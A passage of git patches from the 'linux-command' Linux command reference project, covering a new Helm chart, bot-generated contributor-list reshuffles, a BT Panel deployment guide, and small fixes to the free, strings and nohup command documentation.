+++ b/deploy/helm/charts/linux-command/templates/_helpers.tpl @@ -0,0 +1,62 @@ +{{/* +Expand the name of the chart. +*/}} +{{- define "linux-command.name" -}} +{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" }} +{{- end }} + +{{/* +Create a default fully qualified app name. +We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec). +If release name contains chart name it will be used as a full name. +*/}} +{{- define "linux-command.fullname" -}} +{{- if .Values.fullnameOverride }} +{{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" }} +{{- else }} +{{- $name := default .Chart.Name .Values.nameOverride }} +{{- if contains $name .Release.Name }} +{{- .Release.Name | trunc 63 | trimSuffix "-" }} +{{- else }} +{{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" }} +{{- end }} +{{- end }} +{{- end }} + +{{/* +Create chart name and version as used by the chart label. +*/}} +{{- define "linux-command.chart" -}} +{{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" }} +{{- end }} + +{{/* +Common labels +*/}} +{{- define "linux-command.labels" -}} +helm.sh/chart: {{ include "linux-command.chart" . }} +{{ include "linux-command.selectorLabels" . }} +{{- if .Chart.AppVersion }} +app.kubernetes.io/version: {{ .Chart.AppVersion | quote }} +{{- end }} +app.kubernetes.io/managed-by: {{ .Release.Service }} +{{- end }} + +{{/* +Selector labels +*/}} +{{- define "linux-command.selectorLabels" -}} +app.kubernetes.io/name: {{ include "linux-command.name" . }} +app.kubernetes.io/instance: {{ .Release.Name }} +{{- end }} + +{{/* +Create the name of the service account to use +*/}} +{{- define "linux-command.serviceAccountName" -}} +{{- if .Values.serviceAccount.create }} +{{- default (include "linux-command.fullname" .) .Values.serviceAccount.name }} +{{- else }} +{{- default "default" .Values.serviceAccount.name }} +{{- end }} +{{- end }} diff --git a/deploy/helm/charts/linux-command/templates/deployment.yaml b/deploy/helm/charts/linux-command/templates/deployment.yaml new file mode 100644 index 00000000000..fbfc1318671 --- /dev/null +++ b/deploy/helm/charts/linux-command/templates/deployment.yaml @@ -0,0 +1,32 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: {{ include "linux-command.fullname" . }}-linux-command + labels: + app: linux-command + {{- include "linux-command.labels" . | nindent 4 }} +spec: + replicas: {{ .Values.linuxCommand.replicas }} + selector: + matchLabels: + app: linux-command + {{- include "linux-command.selectorLabels" . | nindent 6 }} + template: + metadata: + labels: + app: linux-command + {{- include "linux-command.selectorLabels" . | nindent 8 }} + spec: + containers: + - env: + - name: KUBERNETES_CLUSTER_DOMAIN + value: {{ quote .Values.kubernetesClusterDomain }} + image: {{ .Values.linuxCommand.linuxCommandContainer.image.repository }}:{{ .Values.linuxCommand.linuxCommandContainer.image.tag + | default .Chart.AppVersion }} + imagePullPolicy: {{ .Values.linuxCommand.linuxCommandContainer.imagePullPolicy + }} + name: linux-command-container + ports: + - containerPort: 3000 + resources: {{- toYaml .Values.linuxCommand.linuxCommandContainer.resources | nindent + 10 }} \ No newline at end of file diff --git a/deploy/helm/charts/linux-command/templates/service.yaml b/deploy/helm/charts/linux-command/templates/service.yaml new file mode 100644 index 00000000000..4f5faa02ee7 --- /dev/null +++ b/deploy/helm/charts/linux-command/templates/service.yaml @@ -0,0 +1,13 @@ +apiVersion: v1 +kind: Service +metadata: + name: {{ include "linux-command.fullname" . }}-service + labels: + {{- include "linux-command.labels" . | nindent 4 }} +spec: + type: {{ .Values.service.type }} + selector: + app: linux-command + {{- include "linux-command.selectorLabels" . | nindent 4 }} + ports: + {{- .Values.service.ports | toYaml | nindent 2 }} diff --git a/deploy/helm/charts/linux-command/values.yaml b/deploy/helm/charts/linux-command/values.yaml new file mode 100644 index 00000000000..5b449e33bcb --- /dev/null +++ b/deploy/helm/charts/linux-command/values.yaml @@ -0,0 +1,20 @@ +linuxCommand: + linuxCommandContainer: + image: + repository: wcjiang/linux-command + tag: latest + imagePullPolicy: IfNotPresent + resources: + limits: + cpu: 100m + memory: 50Mi + requests: + cpu: 100m + memory: 50Mi + replicas: 1 +service: + ports: + - port: 9665 + protocol: TCP + targetPort: 3000 + type: NodePort From fc97de6b4433b48915e86ba478ef22718b5e18bd Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 20 Sep 2024 11:26:34 +0000 Subject: [PATCH 409/570] doc: update README.md. --- README.md | 72 +++++++++++++++++++++++++++---------------------------- 1 file changed, 36 insertions(+), 36 deletions(-) diff --git a/README.md b/README.md index e2995e3f3b2..0c9bfce4a34 100644 --- a/README.md +++ b/README.md @@ -289,6 +289,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 沙漠之子 Shell xhal +will VVatt gggwvg BingCoke @@ -303,6 +304,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Dazhuangw Alterem YH +jcdj666 jqz3.tech juemuren4449 kassadin @@ -316,8 +318,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans -oliver -jcdj666 hululu1068 huangyao hotdogc1017 @@ -332,39 +332,40 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Deny dayday cxalc -Mystic -zyimm -七朔 -孤城落寞 -尘埃 -Wei Xu -Loofra -ReZero -极简XksA -移动的红烧肉 -继刚 -老犁 -Kyofin -谢民皆 -远方 -Wendy May +Forever121 Yidan Wang -rexlin600 -sfwwslm -shc -shuangcui -snovey -tangke -tutianyu101 -UniqueDing -weibk -will -Lingfeng Wang -yanyx -zjlovezj -zodiac -zoomdong +Wendy May +远方 +谢民皆 +Kyofin +老犁 +继刚 +移动的红烧肉 +极简XksA +ReZero +Loofra +Wei Xu +尘埃 +孤城落寞 +七朔 +zyimm zuixin369 +zoomdong +zodiac +zjlovezj +yanyx +Lingfeng Wang +weibk +UniqueDing +tutianyu101 +tangke +snovey +shuangcui +shc +sfwwslm +rexlin600 +oliver +c2ch MinsonLee Marnm mwei @@ -395,8 +396,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Azroy Alan 0x_000 -Forever121 -c2ch brinkqiang bell azureology @@ -425,7 +424,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Rining Wu Ray Yee QinShower -Q.Ben Zheng +Q.Ben Zheng +Mystic 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From a727bb37dbfe5d14c27a6d5857a9ab64fc3e435b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 20 Sep 2024 11:26:35 +0000 Subject: [PATCH 410/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 72 +++++++++++++++++++-------------------- 1 file changed, 36 insertions(+), 36 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 80deae78548..3c6664e164b 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -34,6 +34,7 @@ 沙漠之子 Shell xhal +will VVatt gggwvg BingCoke @@ -48,6 +49,7 @@ Dazhuangw Alterem YH +jcdj666 jqz3.tech juemuren4449 kassadin @@ -61,8 +63,6 @@ miniwater noodles2hg nsnans -oliver -jcdj666 hululu1068 huangyao hotdogc1017 @@ -77,39 +77,40 @@ Deny dayday cxalc -Mystic -zyimm -七朔 -孤城落寞 -尘埃 -Wei Xu -Loofra -ReZero -极简XksA -移动的红烧肉 -继刚 -老犁 -Kyofin -谢民皆 -远方 -Wendy May +Forever121 Yidan Wang -rexlin600 -sfwwslm -shc -shuangcui -snovey -tangke -tutianyu101 -UniqueDing -weibk -will -Lingfeng Wang -yanyx -zjlovezj -zodiac -zoomdong +Wendy May +远方 +谢民皆 +Kyofin +老犁 +继刚 +移动的红烧肉 +极简XksA +ReZero +Loofra +Wei Xu +尘埃 +孤城落寞 +七朔 +zyimm zuixin369 +zoomdong +zodiac +zjlovezj +yanyx +Lingfeng Wang +weibk +UniqueDing +tutianyu101 +tangke +snovey +shuangcui +shc +sfwwslm +rexlin600 +oliver +c2ch MinsonLee Marnm mwei @@ -140,8 +141,6 @@ Azroy Alan 0x_000 -Forever121 -c2ch brinkqiang bell azureology @@ -170,7 +169,8 @@ Rining Wu Ray Yee QinShower -Q.Ben Zheng +Q.Ben Zheng +Mystic

数据来源于 GitHub Contributors，使用action-contributors创建。 From 4997c40f80e78409d4fba3d339e6ccfc8b9158e1 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 20 Sep 2024 19:27:15 +0800 Subject: [PATCH 411/570] chore: renamed deploy/helm/ -> k8s/helm/ #606 --- {deploy => k8s}/helm/charts/linux-command/.helmignore | 0 {deploy => k8s}/helm/charts/linux-command/Chart.yaml | 0 {deploy => k8s}/helm/charts/linux-command/README.md | 0 {deploy => k8s}/helm/charts/linux-command/templates/_helpers.tpl | 0 .../helm/charts/linux-command/templates/deployment.yaml | 0 {deploy => k8s}/helm/charts/linux-command/templates/service.yaml | 0 {deploy => k8s}/helm/charts/linux-command/values.yaml | 0 7 files changed, 0 insertions(+), 0 deletions(-) rename {deploy => k8s}/helm/charts/linux-command/.helmignore (100%) rename {deploy => k8s}/helm/charts/linux-command/Chart.yaml (100%) rename {deploy => k8s}/helm/charts/linux-command/README.md (100%) rename {deploy => k8s}/helm/charts/linux-command/templates/_helpers.tpl (100%) rename {deploy => k8s}/helm/charts/linux-command/templates/deployment.yaml (100%) rename {deploy => k8s}/helm/charts/linux-command/templates/service.yaml (100%) rename {deploy => k8s}/helm/charts/linux-command/values.yaml (100%) diff --git a/deploy/helm/charts/linux-command/.helmignore b/k8s/helm/charts/linux-command/.helmignore similarity index 100% rename from deploy/helm/charts/linux-command/.helmignore rename to k8s/helm/charts/linux-command/.helmignore diff --git a/deploy/helm/charts/linux-command/Chart.yaml b/k8s/helm/charts/linux-command/Chart.yaml similarity index 100% rename from deploy/helm/charts/linux-command/Chart.yaml rename to k8s/helm/charts/linux-command/Chart.yaml diff --git a/deploy/helm/charts/linux-command/README.md b/k8s/helm/charts/linux-command/README.md similarity index 100% rename from deploy/helm/charts/linux-command/README.md rename to k8s/helm/charts/linux-command/README.md diff --git a/deploy/helm/charts/linux-command/templates/_helpers.tpl b/k8s/helm/charts/linux-command/templates/_helpers.tpl similarity index 100% rename from deploy/helm/charts/linux-command/templates/_helpers.tpl rename to k8s/helm/charts/linux-command/templates/_helpers.tpl diff --git a/deploy/helm/charts/linux-command/templates/deployment.yaml b/k8s/helm/charts/linux-command/templates/deployment.yaml similarity index 100% rename from deploy/helm/charts/linux-command/templates/deployment.yaml rename to k8s/helm/charts/linux-command/templates/deployment.yaml diff --git a/deploy/helm/charts/linux-command/templates/service.yaml b/k8s/helm/charts/linux-command/templates/service.yaml similarity index 100% rename from deploy/helm/charts/linux-command/templates/service.yaml rename to k8s/helm/charts/linux-command/templates/service.yaml diff --git a/deploy/helm/charts/linux-command/values.yaml b/k8s/helm/charts/linux-command/values.yaml similarity index 100% rename from deploy/helm/charts/linux-command/values.yaml rename to k8s/helm/charts/linux-command/values.yaml From ffc270e9860edf93cd58c1072144e29ac8ed98fa Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 20 Sep 2024 11:28:40 +0000 Subject: [PATCH 412/570] doc: update README.md. --- README.md | 72 +++++++++++++++++++++++++++---------------------------- 1 file changed, 36 insertions(+), 36 deletions(-) diff --git a/README.md b/README.md index 0c9bfce4a34..e2995e3f3b2 100644 --- a/README.md +++ b/README.md @@ -289,7 +289,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 沙漠之子 Shell xhal -will VVatt gggwvg BingCoke @@ -304,7 +303,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Dazhuangw Alterem YH -jcdj666 jqz3.tech juemuren4449 kassadin @@ -318,6 +316,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans +oliver +jcdj666 hululu1068 huangyao hotdogc1017 @@ -332,40 +332,39 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Deny dayday cxalc -Forever121 -Yidan Wang -Wendy May -远方 -谢民皆 -Kyofin -老犁 -继刚 -移动的红烧肉 -极简XksA -ReZero -Loofra -Wei Xu -尘埃 -孤城落寞 -七朔 +Mystic zyimm -zuixin369 -zoomdong -zodiac -zjlovezj -yanyx -Lingfeng Wang -weibk -UniqueDing -tutianyu101 -tangke -snovey -shuangcui -shc -sfwwslm +七朔 +孤城落寞 +尘埃 +Wei Xu +Loofra +ReZero +极简XksA +移动的红烧肉 +继刚 +老犁 +Kyofin +谢民皆 +远方 +Wendy May +Yidan Wang rexlin600 -oliver -c2ch +sfwwslm +shc +shuangcui +snovey +tangke +tutianyu101 +UniqueDing +weibk +will +Lingfeng Wang +yanyx +zjlovezj +zodiac +zoomdong +zuixin369 MinsonLee Marnm mwei @@ -396,6 +395,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Azroy Alan 0x_000 +Forever121 +c2ch brinkqiang bell azureology @@ -424,8 +425,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Rining Wu Ray Yee QinShower -Q.Ben Zheng -Mystic +Q.Ben Zheng 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 5cd5a451b49e996f557abd9201cd94b0e0a87809 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 20 Sep 2024 11:28:41 +0000 Subject: [PATCH 413/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 72 +++++++++++++++++++-------------------- 1 file changed, 36 insertions(+), 36 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 3c6664e164b..80deae78548 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -34,7 +34,6 @@ 沙漠之子 Shell xhal -will VVatt gggwvg BingCoke @@ -49,7 +48,6 @@ Dazhuangw Alterem YH -jcdj666 jqz3.tech juemuren4449 kassadin @@ -63,6 +61,8 @@ miniwater noodles2hg nsnans +oliver +jcdj666 hululu1068 huangyao hotdogc1017 @@ -77,40 +77,39 @@ Deny dayday cxalc -Forever121 -Yidan Wang -Wendy May -远方 -谢民皆 -Kyofin -老犁 -继刚 -移动的红烧肉 -极简XksA -ReZero -Loofra -Wei Xu -尘埃 -孤城落寞 -七朔 +Mystic zyimm -zuixin369 -zoomdong -zodiac -zjlovezj -yanyx -Lingfeng Wang -weibk -UniqueDing -tutianyu101 -tangke -snovey -shuangcui -shc -sfwwslm +七朔 +孤城落寞 +尘埃 +Wei Xu +Loofra +ReZero +极简XksA +移动的红烧肉 +继刚 +老犁 +Kyofin +谢民皆 +远方 +Wendy May +Yidan Wang rexlin600 -oliver -c2ch +sfwwslm +shc +shuangcui +snovey +tangke +tutianyu101 +UniqueDing +weibk +will +Lingfeng Wang +yanyx +zjlovezj +zodiac +zoomdong +zuixin369 MinsonLee Marnm mwei @@ -141,6 +140,8 @@ Azroy Alan 0x_000 +Forever121 +c2ch brinkqiang bell azureology @@ -169,8 +170,7 @@ Rining Wu Ray Yee QinShower -Q.Ben Zheng -Mystic +Q.Ben Zheng

数据来源于 GitHub Contributors，使用action-contributors创建。 From 06c56e9e88777b46bc358f4d2cfaedb651b48bac Mon Sep 17 00:00:00 2001 From: bestlaw66 <94432849+bestlaw66@users.noreply.github.com> Date: Thu, 31 Oct 2024 11:30:27 +0800 Subject: [PATCH 414/570] docs: add BT Panel Deployment Method (#613) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 在国内有大部分用户都在使用宝塔面板管理服务器，因此增加使用宝塔面板部署的教程，可视化的部署文档可以帮助用户更加便捷的部署Linux Command --- README.md | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) diff --git a/README.md b/README.md index e2995e3f3b2..870475462a4 100644 --- a/README.md +++ b/README.md @@ -94,6 +94,41 @@ http://localhost:9665/ 通过 Vercel 分配的域名访问，或者自行在设置中绑定域名。 +## 宝塔面板 + +可通过宝塔面板应用商店快速部署 linux-command + +

+部署步骤 + +### 前提 + +* 仅适用于宝塔面板 9.2.0 及以上版本 +* 安装宝塔面板，前往[宝塔面板](https://www.bt.cn/new/download.html)官网，选择正式版的脚本下载安装 + +### 部署 + +1. 登录宝塔面板，在左侧菜单栏中点击 `Docker` +2. 首次会提示安装`Docker`和`Docker Compose`服务，点击立即安装，若已安装请忽略。 +3. 安装完成后在`Docker-应用商店-实用工具`中找到 `linux-command`，点击`安装`，也可以在搜索框直接搜索`linux`。 +4. 设置域名等基本信息，点击`确定` +* 说明： + * 名称：应用名称，默认`linuxcommand_随机字符` + * 版本选择：默认`latest` + * 域名：如您需要通过域名访问，请在此处填写您的域名 + * 允许外部访问：如您需通过`IP+Port`直接访问，请勾选，如您已经设置了域名，请不要勾选此处 + * 端口：默认`3000`，可自行修改 + * CPU 限制：0 为不限制，根据实际需要设置 + * 内存限制：0 为不限制，根据实际需要设置 +5. 提交后面板会自动进行应用初始化，大概需要`1-3`分钟，初始化完成后即可访问。 + +### 访问 linux-command + +* 如果您填写域名，请在浏览器输入您的域名访问，如`http://demo.linux-command`，即可访问 `linux-command` 页面。 +* 如您选择`IP+端口访问`请在浏览器地址栏中输入域名访问 `http://<宝塔面板IP>:6806`，即可访问 `linux-command` 页面。 + +
+ ## Linux命令分类 *这里存放Linux 命令大全并不全，你可以通过[linux-command](https://jaywcjlove.github.io/linux-command/)来搜索，它是把 [command](./assets/command) 目录里面搜集的命令，生成了静态HTML并提供预览以及索引搜索。* From 3ad005aafe6e4f9eb924f8e9e93063b0c4cee27b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 31 Oct 2024 03:30:54 +0000 Subject: [PATCH 415/570] doc: update README.md. --- README.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 870475462a4..7fe84730157 100644 --- a/README.md +++ b/README.md @@ -324,6 +324,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 沙漠之子 Shell xhal +will VVatt gggwvg BingCoke @@ -338,6 +339,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Dazhuangw Alterem YH +jcdj666 jqz3.tech juemuren4449 kassadin @@ -351,8 +353,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans -oliver -jcdj666 hululu1068 huangyao hotdogc1017 @@ -367,6 +367,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Deny dayday cxalc +Forever121 Mystic zyimm 七朔 @@ -384,6 +385,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 远方 Wendy May Yidan Wang +oliver rexlin600 sfwwslm shc @@ -393,7 +395,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. tutianyu101 UniqueDing weibk -will Lingfeng Wang yanyx zjlovezj @@ -430,9 +431,9 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Azroy Alan 0x_000 -Forever121 c2ch brinkqiang +bestlaw66 bell azureology Ashine From 7c36a2f50f29d7e747fa1a32774312230365d64a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 31 Oct 2024 03:30:54 +0000 Subject: [PATCH 416/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 80deae78548..cc6ddf65f69 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -34,6 +34,7 @@ 沙漠之子 Shell xhal +will VVatt gggwvg BingCoke @@ -48,6 +49,7 @@ Dazhuangw Alterem YH +jcdj666 jqz3.tech juemuren4449 kassadin @@ -61,8 +63,6 @@ miniwater noodles2hg nsnans -oliver -jcdj666 hululu1068 huangyao hotdogc1017 @@ -77,6 +77,7 @@ Deny dayday cxalc +Forever121 Mystic zyimm 七朔 @@ -94,6 +95,7 @@ 远方 Wendy May Yidan Wang +oliver rexlin600 sfwwslm shc @@ -103,7 +105,6 @@ tutianyu101 UniqueDing weibk -will Lingfeng Wang yanyx zjlovezj @@ -140,9 +141,9 @@ Azroy Alan 0x_000 -Forever121 c2ch brinkqiang +bestlaw66 bell azureology Ashine From 2268588c603129baa8191f51a1e3230ae16ca04e Mon Sep 17 00:00:00 2001 From: chaofan Date: Tue, 12 Nov 2024 10:49:56 +0800 Subject: [PATCH 417/570] doc: update command/free.md (#615) Add `-h` args description. --- command/free.md | 1 + 1 file changed, 1 insertion(+) diff --git a/command/free.md b/command/free.md index 7559c114305..11e927b395b 100644 --- a/command/free.md +++ b/command/free.md @@ -24,6 +24,7 @@ free(选项) -s<间隔秒数> # 持续观察内存使用状况； -t # 显示内存总和列； -V # 显示版本信息。 +-h, --human # 自动缩放到最短三位单位的并打印输出 ``` ### 实例 From a607043c9aeb9de834d06d7613cddb25ad827753 Mon Sep 17 00:00:00 2001 From: YEUNGCHIE <30793662+yeungchie@users.noreply.github.com> Date: Tue, 26 Nov 2024 10:20:14 +0800 Subject: [PATCH 418/570] doc: update command/strings.md (#617) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `实例` 中的第二个例子的命令错误，缺少管道符 `|` --- command/strings.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/strings.md b/command/strings.md index baf174c6c85..bdc513d0856 100644 --- a/command/strings.md +++ b/command/strings.md @@ -38,7 +38,7 @@ strings /bin/ls 列出ls中所有的ASCII文本： ```shell -cat /bin/ls strings +cat /bin/ls | strings ``` 查找ls中包含libc的字符串，不区分大小写： From fbba20936881da812101e162fc76c088227f006d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 26 Nov 2024 02:20:46 +0000 Subject: [PATCH 419/570] doc: update README.md. --- README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 7fe84730157..6d5641f5c21 100644 --- a/README.md +++ b/README.md @@ -315,6 +315,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. rgshare loverainye lavaicer +YEUNGCHIE SteveLauC Lnkstls James Wang @@ -335,7 +336,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Shan Chenyu Xingwen Zhang Xrtero -YEUNGCHIE Dazhuangw Alterem YH @@ -368,7 +368,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dayday cxalc Forever121 -Mystic +chaofan zyimm 七朔 孤城落寞 @@ -401,6 +401,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 +Mystic MinsonLee Marnm mwei From e3700384a490b965b0d97df58c658bed2c4f3e96 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 26 Nov 2024 02:20:47 +0000 Subject: [PATCH 420/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index cc6ddf65f69..3a73c8c7702 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -25,6 +25,7 @@ rgshare loverainye lavaicer +YEUNGCHIE SteveLauC Lnkstls James Wang @@ -45,7 +46,6 @@ Shan Chenyu Xingwen Zhang Xrtero -YEUNGCHIE Dazhuangw Alterem YH @@ -78,7 +78,7 @@ dayday cxalc Forever121 -Mystic +chaofan zyimm 七朔 孤城落寞 @@ -111,6 +111,7 @@ zodiac zoomdong zuixin369 +Mystic MinsonLee Marnm mwei From f5b04886c016cb7dd5b270134ef7ae0837929455 Mon Sep 17 00:00:00 2001 From: githubwxz Date: Fri, 29 Nov 2024 10:23:26 +0800 Subject: [PATCH 421/570] doc: Update README.md (#618) --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6d5641f5c21..e9fb3880b6c 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ **推荐使用的镜像 web 版本** -[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/)，[`linux.alistnas.xyz`](https://linux.alistnas.xyz/)，[`nenufm.com`](https://www.nenufm.com/linux-command/) +[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc)，[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/)，[`linux.alistnas.xyz`](https://linux.alistnas.xyz/)，[`nenufm.com`](https://www.nenufm.com/linux-command/) **其它 web 版本** From 84d686c1f700b5419ae47e6dfd3082756862dbeb Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 29 Nov 2024 02:23:58 +0000 Subject: [PATCH 422/570] doc: update README.md. --- README.md | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index e9fb3880b6c..32266489134 100644 --- a/README.md +++ b/README.md @@ -317,7 +317,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. lavaicer YEUNGCHIE SteveLauC -Lnkstls +MioMuse James Wang Qliangw Wang Yujia @@ -333,12 +333,13 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. FunKeen Pan, Wen-Ming RichardLCD -Shan Chenyu -Xingwen Zhang -Xrtero Dazhuangw Alterem YH +Shan Chenyu +Xingwen Zhang +Xrtero +hululu1068 jcdj666 jqz3.tech juemuren4449 @@ -352,11 +353,10 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dufu miniwater noodles2hg -nsnans -hululu1068 huangyao hotdogc1017 gcluffy +githubwxz ghy gesty gedune @@ -369,6 +369,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. cxalc Forever121 chaofan +nsnans zyimm 七朔 孤城落寞 From b8b93894b9d7609994afdbfdca5a1b155a213975 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 29 Nov 2024 02:23:59 +0000 Subject: [PATCH 423/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 3a73c8c7702..a8d7ec9c534 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -27,7 +27,7 @@ lavaicer YEUNGCHIE SteveLauC -Lnkstls +MioMuse James Wang Qliangw Wang Yujia @@ -43,12 +43,13 @@ FunKeen Pan, Wen-Ming RichardLCD -Shan Chenyu -Xingwen Zhang -Xrtero Dazhuangw Alterem YH +Shan Chenyu +Xingwen Zhang +Xrtero +hululu1068 jcdj666 jqz3.tech juemuren4449 @@ -62,11 +63,10 @@ dufu miniwater noodles2hg -nsnans -hululu1068 huangyao hotdogc1017 gcluffy +githubwxz ghy gesty gedune @@ -79,6 +79,7 @@ cxalc Forever121 chaofan +nsnans zyimm 七朔 孤城落寞 From 0775c0d74e6e87f4f6268cff5fde377bbc4cc8bc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=89=B6=E8=8B=8F=E5=A6=82=E6=98=AF?= <57750156+fusurus@users.noreply.github.com> Date: Sat, 21 Dec 2024 18:57:38 +0800 Subject: [PATCH 424/570] doc: Update nohup.md (#621) --- command/nohup.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/command/nohup.md b/command/nohup.md index 6a60c8f9a39..8e168243154 100644 --- a/command/nohup.md +++ b/command/nohup.md @@ -47,4 +47,16 @@ nohup wget site.com/file.zip nohup ping -c 10 baidu.com ``` +### 最简单的后台运行 +nohup command & +### 输出默认重定向到当前目录下 nohup.out 文件 +nohup python main.py & +### 自定义输出文件(标准输出和错误输出合并到 main.log) +nohup python main.py >> main.log 2>&1 & +### 与上一个例子相同作用的简写方法 +nohup python main.py &> main.log & +### 不记录输出信息 +nohup python main.py &> /dev/null & +### 不记录输出信息并将程序的进程号写入 pidfile.txt 文件中，方便后续杀死进程 +nohup python main.py &> /dev/null & echo $! > pidfile.txt From a6207d7ab2ccba2e8c10501c7824005688b7dc09 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 21 Dec 2024 19:05:55 +0800 Subject: [PATCH 425/570] doc: update command/nohup.md --- command/nohup.md | 51 +++++++++++++++++++++++++++++++++++------------- 1 file changed, 37 insertions(+), 14 deletions(-) diff --git a/command/nohup.md b/command/nohup.md index 8e168243154..e0ee09d8efb 100644 --- 